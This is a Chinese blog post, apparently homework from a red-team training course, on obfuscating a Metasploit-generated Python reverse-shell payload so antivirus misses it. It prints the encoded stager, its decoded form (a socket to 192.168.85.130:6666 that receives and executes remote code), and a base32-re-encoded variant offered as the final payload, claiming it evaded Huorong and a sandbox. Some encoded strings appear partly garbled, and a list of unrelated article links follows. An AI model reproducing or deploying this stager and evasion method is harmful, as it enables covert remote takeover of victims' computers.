红队作业 | MSF源码级别免杀实录
文章来源|MS08067 红队培训班 第4期
本文作者:学员A(红队培训班4期学员)
按老师要求尝试完成布置的作业如下:
对于msf生成的shellcode都是一样的。
所以从代码层面来讲来说,不论是什么语言的实现,最后的代码实现的逻辑都是一样的,由于对于java并不了解,但听懂了课堂代码的逻辑,就是先循环饶了了几次然后再建立连接小马拉大马,后参考了群里其他同学作业后得此下文!
因为自己有一定python基础 所以这里对python的源码免杀来进行浅显的分析:
首先我们msf生成一个python的马:
可以看到落地火绒报毒:
看下源码:
```
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1Cwujqvtdb1U97roatdKKrb8EUnzF27ZBFODUuMTMwJyw2NjY2KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))
```
所以payload是:
简单处理一下:
```
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.85.130',6666))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
```
简单分析一波:
import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用
代码的大概意思就是
循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接
后面的代码
涉及到网络编程,不太了解,暂时搁置,这阵子了解一下网络编程后再来看
这里的话我感觉也可以改一下编码,但是不知道能否实行
所以这里就是一个基础的msf-pyhton的payload
基本上就是编码了一下然后直接建立连接,那么这里的话免杀思路如下:
1.改一下编码方式,最直接的
2.把木马里面的函数用不同方式实现
3.在木马里加点费功能混淆一下
4.函数名啥了改改,”特征值得改一下“,一些可以改的参数就改成自己的
(就跟抄作业似的,最后实现的功能都是一样的,你抄了别人的,你不能全抄把,哪不合适,就改改呗,嗯,改改呗,让杀软老师以为你是自己写的,不是抄msf的就行了,就给你过了)
所以我们这里的话
( )这里是因为我懒得替换了 为了一会好整成一行 (手动狗头)
我就简单做了这种混淆,然后整合回一行,然后最外面的编码我们用base32
NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY38EL9PSypgsoxPWZ4B4azon5wN6H1DHhkZIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=
最后的payload:
exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY35NaXQM3nBSKAhcm6NGzkUmZtT35gBhbqXIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=')[0]))
设置好监听和载荷(这里payload一定要选对,因为我才接触msf不久,选错监听,老不上线,哭死)
木马成功上线
最后测试木马免杀效果
Good
然后给沙箱
其余的我就不测了,360大概率也过
最后总结:
经过这个实验吧,虽然也不是自己的思路,也算是鹦鹉学舌,但是最后总算是做出来了,免杀初体验挺好的,虽然很多概念都不清楚,但是初体验很好,多看文章多动手,继续努力!
相关文章
- Docker 搭建 Elasticsearch、Kibana、Logstash 同步 MySQL 数据到 ES
- 13个 Linux 桌面的最佳深色 GTK 主题
- Linux下定位异常消耗的线程实战分析
- 微软 Edge & 谷歌 Chrome 联合,Windows 11/10 将获得全新剪贴板功能
- Windows 11成为Steam玩家第三大系统:占比暴涨
- 一篇学会Linux ptrace 的实现
- 微软 Edge 浏览器测试与 Windows 10/11 整合数据,标签搜索到来
- 下一个WPS?微软利用Windows截胡谷歌,试图阻止用户下载Chrome
- 微软 Windows 11 Dev 预览版 22509.1011 (KB5008918) 发布,出现 1 个错误 Bug
- Windows 11时代再难有用武之地?聊聊那些没落的软件
- Windows系统电脑蓝屏怎么办,常见电脑蓝屏代码解决方法大全
- 终于妥协!微软推送Windows 11新版本:可一键更改全部默认浏览器
- Windows 7被赶超 Windows 11成Steam玩家第二大系统:1个月暴涨300%多
- 用 Flatpak 在 Linux 上安装应用
- 彻底解决QT中文码乱问题
- Windows 11丰富开始菜单布局:可选择更多固定程序/推荐
- 如何优雅的使用 Velero 快速备份和还原 Kubernetes 集群
- 2021年技术人员的优秀 Linux 桌面前五名
- OpenHarmony3.0镜像烧录至Hi3516上
- 微软 Edge Beta 浏览器 97 发布:新增打开数字签名 PDF 文件、“引文”功能